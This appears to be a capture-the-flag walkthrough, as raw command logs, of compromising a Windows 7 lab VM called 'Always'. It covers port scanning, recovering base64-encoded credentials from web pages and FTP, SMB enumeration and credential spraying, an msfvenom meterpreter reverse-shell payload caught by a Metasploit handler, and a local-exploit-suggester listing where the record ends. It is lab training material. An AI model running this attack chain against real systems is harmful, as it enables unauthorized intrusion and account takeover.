1
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
2
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
3
172.16.52.224   08:00:27:f6:b3:bb       (Unknown)

1
──(root㉿kali)-[/home/kali]
2
└─# nmap -Pn -sTCV -T4 172.16.52.224
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-13 00:48 EST
4
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
5
NSE Timing: About 0.00% done
6
Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 0 undergoing Host Discovery
7
Parallel DNS resolution of 1 host. Timing: About 0.00% done
8
Nmap scan report for 172.16.52.224
9
Host is up (0.00028s latency).
10
Not shown: 987 closed tcp ports (conn-refused)
11
PORT      STATE SERVICE            VERSION
12
21/tcp    open  ftp                Microsoft ftpd
13
| ftp-syst:
14
|_  SYST: Windows_NT
15
135/tcp   open  msrpc              Microsoft Windows RPC
16
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
17
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
18
3389/tcp  open  ssl/ms-wbt-server?
19
|_ssl-date: 2025-12-13T05:49:45+00:00; 0s from scanner time.
20
| ssl-cert: Subject: commonName=Always-PC
21
| Not valid before: 2025-12-12T05:47:19
22
|_Not valid after:  2026-06-13T05:47:19
23
5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
24
|_http-server-header: Microsoft-HTTPAPI/2.0
25
|_http-title: Service Unavailable
26
8080/tcp  open  http               Apache httpd 2.4.57 ((Win64))
27
|_http-server-header: Apache/2.4.57 (Win64)
28
|_http-open-proxy: Proxy might be redirecting requests
29
|_http-title: We Are Sorry
30
| http-methods:
31
|_  Potentially risky methods: TRACE
32
49152/tcp open  msrpc              Microsoft Windows RPC
33
49153/tcp open  msrpc              Microsoft Windows RPC
34
49154/tcp open  msrpc              Microsoft Windows RPC
35
49155/tcp open  msrpc              Microsoft Windows RPC
36
49156/tcp open  msrpc              Microsoft Windows RPC
37
49158/tcp open  msrpc              Microsoft Windows RPC
38
Service Info: Host: ALWAYS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
39

40
Host script results:
41
|_clock-skew: mean: -30m00s, deviation: 1h00m00s, median: 0s
42
|_nbstat: NetBIOS name: ALWAYS-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:f6:b3:bb (Oracle VirtualBox virtual NIC)
43
| smb-security-mode:
44
|   account_used: guest
45
|   authentication_level: user
46
|   challenge_response: supported
47
|_  message_signing: disabled (dangerous, but default)
48
| smb-os-discovery:
49
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
50
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
51
|   Computer name: Always-PC
52
|   NetBIOS computer name: ALWAYS-PC\x00
53
|   Workgroup: WORKGROUP\x00
54
|_  System time: 2025-12-13T07:49:40+02:00
55
| smb2-time:
56
|   date: 2025-12-13T05:49:40
57
|_  start_date: 2025-12-13T05:47:19
58
| smb2-security-mode:
59
|   2:1:0:
60
|_    Message signing enabled but not required
61

62
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
63
Nmap done: 1 IP address (1 host up) scanned in 99.98 seconds

1
┌──(root㉿kali)-[/home/kali]
2
└─# smbmap -H 172.16.52.224
3

4
    ________  ___      ___  _______   ___      ___       __         _______
5
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
6
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
7
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
8
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
9
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
10
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
11
-----------------------------------------------------------------------------
12
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
13
                     https://github.com/ShawnDEvans/smbmap
14

15
[*] Detected 1 hosts serving SMB
16
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
17
[!] Access denied on 172.16.52.224, no fun for you...
18
[*] Closed 1 connections

1
┌──(root㉿kali)-[/home/kali]
2
└─# ftp anonymous@172.16.52.224
3
Connected to 172.16.52.224.
4
220 Microsoft FTP Service
5
331 Password required for anonymous.

1
<DOCTYPE html>
2
<head>
3
  <title>We Are Sorry</title>
4
</head>
5
<body>
6
  <center><h1>Our Site Is Under Maintenance. Please Come Back Again Later.</h1></center>
7
</body>
8
</html>

1
┌──(root㉿kali)-[/home/kali]
2
└─# dirsearch -u http://172.16.52.224:8080/
3
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
4
  from pkg_resources import DistributionNotFound, VersionConflict
5

6
  _|. _ _  _  _  _ _|_    v0.4.3
7
 (_||| _) (/_(_|| (_| )
8

9
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
10

11
Output File: /home/kali/reports/http_172.16.52.224_8080/__25-12-13_00-59-57.txt
12

13
Target: http://172.16.52.224:8080/
14

15
[00:59:57] Starting:
16
[01:00:00] 301 -  240B  - /Admin  ->  http://172.16.52.224:8080/Admin/
17
[01:00:00] 301 -  240B  - /admin  ->  http://172.16.52.224:8080/admin/
18
[01:00:00] 301 -  240B  - /ADMIN  ->  http://172.16.52.224:8080/ADMIN/
19
[01:00:00] 200 -    3KB - /admin%20/
20
[01:00:01] 301 -  241B  - /admin.  ->  http://172.16.52.224:8080/admin./
21
[01:00:01] 200 -    3KB - /Admin/
22
[01:00:01] 200 -    3KB - /admin/
23
[01:00:01] 200 -    3KB - /admin/index.html

1
<body>
2
    <div class="container">
3
        <h2>Login</h2>
4
        <form id="loginForm" action="admin_notes.html" method="POST" onsubmit="return validateForm()">
5
            <input type="text" id="username" name="username" placeholder="Username" required>
6
            <input type="password" id="password" name="password" placeholder="Password" required>
7
            <button type="submit">Login</button>
8
        </form>
9
        <div class="error" id="errorMessage"></div>
10
        <div class="footer">2024 Always Corp. All Rights Reserved.</div>
11
    </div>
12

13
    <script>
14
        function validateForm() {
15
            const username = document.getElementById("username").value;
16
            const password = document.getElementById("password").value;
17
            const errorMessage = document.getElementById("errorMessage");
18

19

20
            if (username === "admin" && password === "adminpass123") {
21
                return true;
22
            }
23

24
            errorMessage.textContent = "Invalid Username Or Password!";
25
            return false;
26
        }
27
    </script>
28
</body>

1
ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=

1
ftpuser:KeepGoingBro!!!

1
┌──(root㉿kali)-[/home/kali]
2
└─# ftp ftpuser@172.16.52.224
3
Connected to 172.16.52.224.
4
220 Microsoft FTP Service
5
331 Password required for ftpuser.
6
Password:
7
230 User logged in.
8
Remote system type is Windows_NT.
9
ftp> ls
10
229 Entering Extended Passive Mode (|||49160|)
11
125 Data connection already open; Transfer starting.
12
10-01-24  07:17PM                   56 robots.txt
13
226 Transfer complete.
14
ftp> get robots.txt
15
local: robots.txt remote: robots.txt
16
229 Entering Extended Passive Mode (|||49161|)
17
125 Data connection already open; Transfer starting.
18
100% |********************************************************************************************************************|    56        1.21 MiB/s    00:00 ETA
19
226 Transfer complete.
20
56 bytes received in 00:00 (327.46 KiB/s)
21
ftp> exit
22
221 Goodbye

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# cat robots.txt
3
User-agent: *
4
Disallow: /admins-secret-pagexxx.html

1
<body>
2
    <div class="container">
3
        <h2>Admin's Secret Notes</h2>
4
        <ul>
5
            <li>1) Disable the firewall and Windows Defender.</li>
6
            <li>2) Enable FTP and SSH.</li>
7
            <li>3) Start the Apache server.</li>
8
            <li>4) Don't forget to change the password for user 'always'. Current password is "WW91Q2FudEZpbmRNZS4hLiE=".</li>
9
        </ul>
10
    </div>
11
</body>

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# smbmap -u always -p 'YouCantFindMe.!.!' -H 172.16.52.224
3

4
    ________  ___      ___  _______   ___      ___       __         _______
5
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
6
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
7
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
8
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
9
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
10
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
11
-----------------------------------------------------------------------------
12
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
13
                     https://github.com/ShawnDEvans/smbmap
14

15
[*] Detected 1 hosts serving SMB
16
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
17
[*] Closed 1 connections

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# ssh always@172.16.52.224
3
ssh: connect to host 172.16.52.224 port 22: Connection refused

1
xfreerdp /v:172.16.52.224 /u:always /p:'YouCantFindMe.!.!' /cert:ignore

1
──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# enum4linux -u 'always' -p 'YouCantFindMe.!.!' -a 172.16.52.224
3
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 13 01:44:11 2025
4

5
 =========================================( Target Information )=========================================
6

7
Target ........... 172.16.52.224
8
RID Range ........ 500-550,1000-1050
9
Username ......... 'always'
10
Password ......... 'YouCantFindMe.!.!'
11
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
12

13

14
 ===========================( Enumerating Workgroup/Domain on 172.16.52.224 )===========================
15

16

17
[+] Got domain/workgroup name: WORKGROUP
18

19

20
 ===============================( Nbtstat Information for 172.16.52.224 )===============================
21

22
Looking up status of 172.16.52.224
23
        ALWAYS-PC       <20> -         B <ACTIVE>  File Server Service
24
        ALWAYS-PC       <00> -         B <ACTIVE>  Workstation Service
25
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
26
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
27
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
28
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
29

30
        MAC Address = 08-00-27-F6-B3-BB
31

32
 ===================================( Session Check on 172.16.52.224 )===================================
33

34

35
[E] Server doesn't allow session using username 'always', password 'YouCantFindMe.!.!'.  Aborting remainder of tests.
36

37

38
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
39
└─# enum4linux -u 'ftpuser' -p 'KeepGoingBro!!!' -a 172.16.52.224
40
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 13 01:44:39 2025
41

42
 =========================================( Target Information )=========================================
43

44
Target ........... 172.16.52.224
45
RID Range ........ 500-550,1000-1050
46
Username ......... 'ftpuser'
47
Password ......... 'KeepGoingBro!!!'
48
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
49

50

51
 ===========================( Enumerating Workgroup/Domain on 172.16.52.224 )===========================
52

53

54
[+] Got domain/workgroup name: WORKGROUP
55

56

57
 ===============================( Nbtstat Information for 172.16.52.224 )===============================
58

59
Looking up status of 172.16.52.224
60
        ALWAYS-PC       <20> -         B <ACTIVE>  File Server Service
61
        ALWAYS-PC       <00> -         B <ACTIVE>  Workstation Service
62
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
63
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
64
        WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
65
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
66

67
        MAC Address = 08-00-27-F6-B3-BB
68

69
 ===================================( Session Check on 172.16.52.224 )===================================
70

71

72
[+] Server 172.16.52.224 allows sessions using username 'ftpuser', password 'KeepGoingBro!!!'
73

74

75
 ================================( Getting domain SID for 172.16.52.224 )================================
76

77
Domain Name: WORKGROUP
78
Domain Sid: (NULL SID)
79

80
[+] Can't determine if host is part of domain or part of a workgroup
81

82

83
 ==================================( OS information on 172.16.52.224 )==================================
84

85

86
[E] Can't get OS info with smbclient
87

88

89
[+] Got OS info for 172.16.52.224 from srvinfo:
90
        172.16.52.224  Wk Sv NT PtB LMB
91
        platform_id     :       500
92
        os version      :       6.1
93
        server type     :       0x51003
94

95

96
 =======================================( Users on 172.16.52.224 )=======================================
97

98
index: 0x1 RID: 0x1f4 acb: 0x00000210 Account: Administrator    Name: (null)    Desc: Bilgisayarı/etki alanını yönetmede kullanılan önceden tanımlı hesap
99
index: 0x2 RID: 0x3e8 acb: 0x00000214 Account: Always   Name: (null)    Desc: (null)
100
index: 0x3 RID: 0x3e9 acb: 0x00000210 Account: ftpuser  Name: ftpuser   Desc: (null)
101
index: 0x4 RID: 0x1f5 acb: 0x00000215 Account: Guest    Name: (null)    Desc: Bilgisayara/etki alanına konuk erişiminde kullanılan önceden tanımlı hesap
102

103
user:[Administrator] rid:[0x1f4]
104
user:[Always] rid:[0x3e8]
105
user:[ftpuser] rid:[0x3e9]
106
user:[Guest] rid:[0x1f5]
107

108
 =================================( Share Enumeration on 172.16.52.224 )=================================
109

110
do_connect: Connection to 172.16.52.224 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
111

112
        Sharename       Type      Comment
113
        ---------       ----      -------
114
        ADMIN$          Disk      Uzak Yönetici
115
        C$              Disk      Varsayılan değer
116
        IPC$            IPC       Uzak IPC
117
Reconnecting with SMB1 for workgroup listing.
118
Unable to connect with SMB1 -- no workgroup available
119

120
[+] Attempting to map shares on 172.16.52.224
121

122
//172.16.52.224/ADMIN$  Mapping: DENIED Listing: N/A Writing: N/A
123
//172.16.52.224/C$      Mapping: DENIED Listing: N/A Writing: N/A
124

125
[E] Can't understand response:
126

127
NT_STATUS_INVALID_PARAMETER listing \*
128
//172.16.52.224/IPC$    Mapping: N/A Listing: N/A Writing: N/A
129

130
 ===========================( Password Policy Information for 172.16.52.224 )===========================
131

132

133

134
[+] Attaching to 172.16.52.224 using ftpuser:KeepGoingBro!!!
135

136
[+] Trying protocol 139/SMB...
137

138
        [!] Protocol failed: Cannot request session (Called Name:172.16.52.224)
139

140
[+] Trying protocol 445/SMB...
141

142
[+] Found domain(s):
143

144
        [+] Always-PC
145
        [+] Builtin
146

147
[+] Password Info for Domain: Always-PC
148

149
        [+] Minimum password length: None
150
        [+] Password history length: None
151
        [+] Maximum password age: 41 days 23 hours 53 minutes
152
        [+] Password Complexity Flags: 000000
153

154
                [+] Domain Refuse Password Change: 0
155
                [+] Domain Password Store Cleartext: 0
156
                [+] Domain Password Lockout Admins: 0
157
                [+] Domain Password No Clear Change: 0
158
                [+] Domain Password No Anon Change: 0
159
                [+] Domain Password Complex: 0
160

161
        [+] Minimum password age: None
162
        [+] Reset Account Lockout Counter: 30 minutes
163
        [+] Locked Account Duration: 30 minutes
164
        [+] Account Lockout Threshold: None
165
        [+] Forced Log off Time: Not Set
166

167

168

169
[+] Retieved partial password policy with rpcclient:
170

171

172
Password Complexity: Disabled
173
Minimum Password Length: 0
174

175

176
 ======================================( Groups on 172.16.52.224 )======================================
177

178

179
[+] Getting builtin groups:
180

181
group:[Administrators] rid:[0x220]
182
group:[Backup Operators] rid:[0x227]
183
group:[Cryptographic Operators] rid:[0x239]
184
group:[Distributed COM Users] rid:[0x232]
185
group:[Event Log Readers] rid:[0x23d]
186
group:[Guests] rid:[0x222]
187
group:[IIS_IUSRS] rid:[0x238]
188
group:[Network Configuration Operators] rid:[0x22c]
189
group:[Performance Log Users] rid:[0x22f]
190
group:[Performance Monitor Users] rid:[0x22e]
191
group:[Power Users] rid:[0x223]
192
group:[Remote Desktop Users] rid:[0x22b]
193
group:[Replicator] rid:[0x228]
194
group:[Users] rid:[0x221]
195

196
[+]  Getting builtin group memberships:
197

198
Group: Administrators' (RID: 544) has member: Always-PC\Administrator
199
Group: IIS_IUSRS' (RID: 568) has member: IIS APPPOOL\DefaultAppPool
200
Group: Users' (RID: 545) has member: NT AUTHORITY\INTERACTIVE
201
Group: Users' (RID: 545) has member: NT AUTHORITY\Authenticated Users
202
Group: Users' (RID: 545) has member: Always-PC\Always
203
Group: Users' (RID: 545) has member: Always-PC\ftpuser
204
Group: Guests' (RID: 546) has member: Always-PC\Guest
205
Group: Remote Desktop Users' (RID: 555) has member: Always-PC\Administrator
206
Group: Remote Desktop Users' (RID: 555) has member: Always-PC\Always
207
Group: Performance Monitor Users' (RID: 558) has member: Always-PC\Always
208

209
[+]  Getting local groups:
210

211
group:[Remote Management Users] rid:[0x3ea]
212

213
[+]  Getting local group memberships:
214

215
Group: Remote Management Users' (RID: 1002) has member: Always-PC\Always
216

217
[+]  Getting domain groups:
218

219
group:[None] rid:[0x201]
220

221
[+]  Getting domain group memberships:
222

223
Group: 'None' (RID: 513) has member: Always-PC\Administrator
224
Group: 'None' (RID: 513) has member: Always-PC\Guest
225
Group: 'None' (RID: 513) has member: Always-PC\Always
226
Group: 'None' (RID: 513) has member: Always-PC\ftpuser
227

228
 ==================( Users on 172.16.52.224 via RID cycling (RIDS: 500-550,1000-1050) )==================
229

230

231
[I] Found new SID:
232
S-1-5-21-381724225-1041572993-564731166
233

234
[I] Found new SID:
235
S-1-5-21-381724225-1041572993-564731166
236

237
[I] Found new SID:
238
S-1-5-32
239

240
[I] Found new SID:
241
S-1-5-32
242

243
[I] Found new SID:
244
S-1-5-32
245

246
[I] Found new SID:
247
S-1-5-32
248

249
[I] Found new SID:
250
S-1-5-32
251

252
[I] Found new SID:
253
S-1-5-21-381724225-1041572993-564731166
254

255
[I] Found new SID:
256
S-1-5-21-381724225-1041572993-564731166
257

258
[+] Enumerating users using SID S-1-5-80 and logon username 'ftpuser', password 'KeepGoingBro!!!'
259

260

261
[+] Enumerating users using SID S-1-5-32 and logon username 'ftpuser', password 'KeepGoingBro!!!'
262

263
S-1-5-32-544 BUILTIN\Administrators (Local Group)
264
S-1-5-32-545 BUILTIN\Users (Local Group)
265
S-1-5-32-546 BUILTIN\Guests (Local Group)
266
S-1-5-32-547 BUILTIN\Power Users (Local Group)
267

268
[+] Enumerating users using SID S-1-5-80-3139157870-2983391045-3678747466-658725712 and logon username 'ftpuser', password 'KeepGoingBro!!!'
269

270

271
[+] Enumerating users using SID S-1-5-82-3006700770-424185619-1745488364-794895919 and logon username 'ftpuser', password 'KeepGoingBro!!!'
272

273

274
[+] Enumerating users using SID S-1-5-21-381724225-1041572993-564731166 and logon username 'ftpuser', password 'KeepGoingBro!!!'
275

276
S-1-5-21-381724225-1041572993-564731166-500 Always-PC\Administrator (Local User)
277
S-1-5-21-381724225-1041572993-564731166-501 Always-PC\Guest (Local User)
278
S-1-5-21-381724225-1041572993-564731166-513 Always-PC\None (Domain Group)
279
S-1-5-21-381724225-1041572993-564731166-1000 Always-PC\Always (Local User)
280
S-1-5-21-381724225-1041572993-564731166-1001 Always-PC\ftpuser (Local User)
281
S-1-5-21-381724225-1041572993-564731166-1002 Always-PC\Remote Management Users (Local Group)
282

283
 ===============================( Getting printer info for 172.16.52.224 )===============================
284

285
do_cmd: Could not initialise spoolss. Error was NT_STATUS_OBJECT_NAME_NOT_FOUND
286

287

288
enum4linux complete on Sat Dec 13 01:45:02 2025

1
xfreerdp /v:172.16.52.224 /u:ftpuser /p:'KeepGoingBro!!!' /cert:ignore

1
enum4linux -u 'ftpuser' -p 'KeepGoingBro!!!' -a 172.16.52.224 > enum
2
grep -i "user:" enum | grep -vi "password" | sed -n 's/.*user:\[\([^]]*\)\].*/\1/p' | sort -u > user
3
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
4
└─# cat user
5
Administrator
6
Always
7
ftpuser
8
Guest

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# vi passwd
3

4
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
5
└─# cat passwd
6
KeepGoingBro!!!
7
YouCantFindMe.!.!

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# crackmapexec smb 172.16.52.224 -u ./user -p ./passwd --continue-on-success
3
SMB         172.16.52.224   445    ALWAYS-PC        [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:ALWAYS-PC) (domain:Always-PC) (signing:False) (SMBv1:True)
4
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Administrator:KeepGoingBro!!! STATUS_LOGON_FAILURE
5
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Administrator:YouCantFindMe.!.! STATUS_LOGON_FAILURE
6
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Always:KeepGoingBro!!! STATUS_LOGON_FAILURE
7
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Always:YouCantFindMe.!.! STATUS_LOGON_FAILURE
8
SMB         172.16.52.224   445    ALWAYS-PC        [+] Always-PC\ftpuser:KeepGoingBro!!!
9
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\ftpuser:YouCantFindMe.!.! STATUS_LOGON_FAILURE
10
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Guest:KeepGoingBro!!! STATUS_LOGON_FAILURE
11
SMB         172.16.52.224   445    ALWAYS-PC        [-] Always-PC\Guest:YouCantFindMe.!.! STATUS_LOGON_FAILURE

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=172.16.55.210 LPORT=7777 -f exe -o shell.exe
3
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
4
[-] No arch selected, selecting arch: x64 from the payload
5
No encoder specified, outputting raw payload
6
Payload size: 203846 bytes
7
Final size of exe file: 210432 bytes
8
Saved as: shell.exe

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# python -m http.server

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/always]
2
└─# msfconsole
3
Metasploit tip: Enable verbose logging with set VERBOSE true
4

5

6
                 _---------.
7
             .' #######   ;."
8
  .---,.    ;@             @@`;   .---,..
9
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
10
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
11
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
12
     "--'.@@@  -.@        @ ,'-   .'--"
13
          ".@' ; @       @ `.  ;'
14
            |@@@@ @@@     @    .
15
             ' @@@ @@   @@    ,
16
              `.@@@@    @@   .
17
                ',@@     @   ;           _____________
18
                 (   3 C    )     /|___ / Metasploit! \
19
                 ;@'. __*__,."    \|--- \_____________/
20
                  '(.,...."/
21

22

23
       =[ metasploit v6.4.69-dev                          ]
24
+ -- --=[ 2529 exploits - 1302 auxiliary - 431 post       ]
25
+ -- --=[ 1678 payloads - 49 encoders - 13 nops           ]
26
+ -- --=[ 9 evasion                                       ]
27

28
Metasploit Documentation: https://docs.metasploit.com/
29

30
msf6 > use exploit/multi/handler
31
[*] Using configured payload generic/shell_reverse_tcp
32
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
33
payload => windows/x64/meterpreter_reverse_tcp
34
msf6 exploit(multi/handler) > set LHOST 172.16.55.210
35
LHOST => 172.16.55.210
36
msf6 exploit(multi/handler) > set LPORT 9999
37
LPORT => 9999
38
msf6 exploit(multi/handler) > run
39
[*] Started reverse TCP handler on 172.16.55.210:9999
40
[*] Started reverse TCP handler on 172.16.55.210:7777
41
[*] Meterpreter session 1 opened (172.16.55.210:7777 -> 172.16.52.224:49197) at 2025-12-13 02:20:35 -0500
42

43
meterpreter >

1
meterpreter > getuid
2
Server username: Always-PC\ftpuser
3
meterpreter > sysinfo
4
Computer        : ALWAYS-PC
5
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
6
Architecture    : x64
7
System Language : tr_TR
8
Domain          : WORKGROUP
9
Logged On Users : 1
10
Meterpreter     : x64/windows
11
meterpreter > background
12
[*] Backgrounding session 1...
13
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
14
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
15
SESSION => 1
16
msf6 post(multi/recon/local_exploit_suggester) > run
17
[*] 172.16.52.224 - Collecting local exploits for x64/windows...
18
/usr/share/metasploit-framework/modules/exploits/linux/local/sock_sendpage.rb:47: warning: key "Notes" is duplicated and overwritten on line 68
19
/usr/share/metasploit-framework/modules/exploits/unix/webapp/phpbb_highlight.rb:46: warning: key "Notes" is duplicated and overwritten on line 51
20
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
21
You can add syslog to your Gemfile or gemspec to silence this warning.
22
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
23
[*] 172.16.52.224 - 205 exploit checks are being tried...
24
[+] 172.16.52.224 - exploit/windows/local/always_install_elevated: The target is vulnerable.
25
[+] 172.16.52.224 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
26
[+] 172.16.52.224 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
27
[+] 172.16.52.224 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
28
[+] 172.16.52.224 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
29
[+] 172.16.52.224 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
30
[+] 172.16.52.224 - exploit/windows/local/cve_2021_40449: The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
31
[+] 172.16.52.224 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
32
[+] 172.16.52.224 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
33
[+] 172.16.52.224 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
34
[+] 172.16.52.224 - exploit/windows/local/ms15_078_atmfd_bof: The service is running, but could not be validated.
35
[+] 172.16.52.224 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
36
[+] 172.16.52.224 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
37
[+] 172.16.52.224 - exploit/windows/local/virtual_box_opengl_escape: The service is running, but could not be validated.
38
[*] Running check method for exploit 49 / 49
39
[*] 172.16.52.224 - Valid modules for session 1:
40
============================
41

42
 #   Name                                                           Potentially Vulnerable?  Check Result
43
 -   ----                                                           -----------------------  ------------
44
 1   exploit/windows/local/always_install_elevated                  Yes                      The target is vulnerable.
45
 2   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
46
 3   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
47
 4   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.
48
 5   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
49
 6   exploit/windows/local/cve_2020_1054_drawiconex_lpe             Yes                      The target appears to be vulnerable.
50
 7   exploit/windows/local/cve_2021_40449                           Yes                      The service is running, but could not be validated. Windows 7/Windows Server 2008 R2 build detected!
51
 8   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
52
 9   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
53
 10  exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
54
 11  exploit/windows/local/ms15_078_atmfd_bof                       Yes                      The service is running, but could not be validated.
55
 12  exploit/windows/local/ms16_014_wmi_recv_notif                  Yes                      The target appears to be vulnerable.
56
 13  exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.
57
 14  exploit/windows/local/virtual_box_opengl_escape                Yes                      The service is running, but could not be validated.
58
 15  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
59
 16  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
60
 17  exploit/windows/local/bypassuac_dotnet_profiler                No                       The target is not exploitable.
61
 18  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
62
 19  exploit/windows/local/bypassuac_sdclt                          No                       The target is not exploitable.
63
 20  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
64
 21  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found
65
 22  exploit/windows/local/capcom_sys_exec                          No                       The target is not exploitable.
66
 23  exploit/windows/local/cve_2020_0796_smbghost                   No                       The target is not exploitable.
67
 24  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
68
 25  exploit/windows/local/cve_2020_1313_system_orchestrator        No                       The target is not exploitable.
69
 26  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
70
 27  exploit/windows/local/cve_2020_17136                           No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!
71
 28  exploit/windows/local/cve_2021_21551_dbutil_memmove            No                       The target is not exploitable.
72
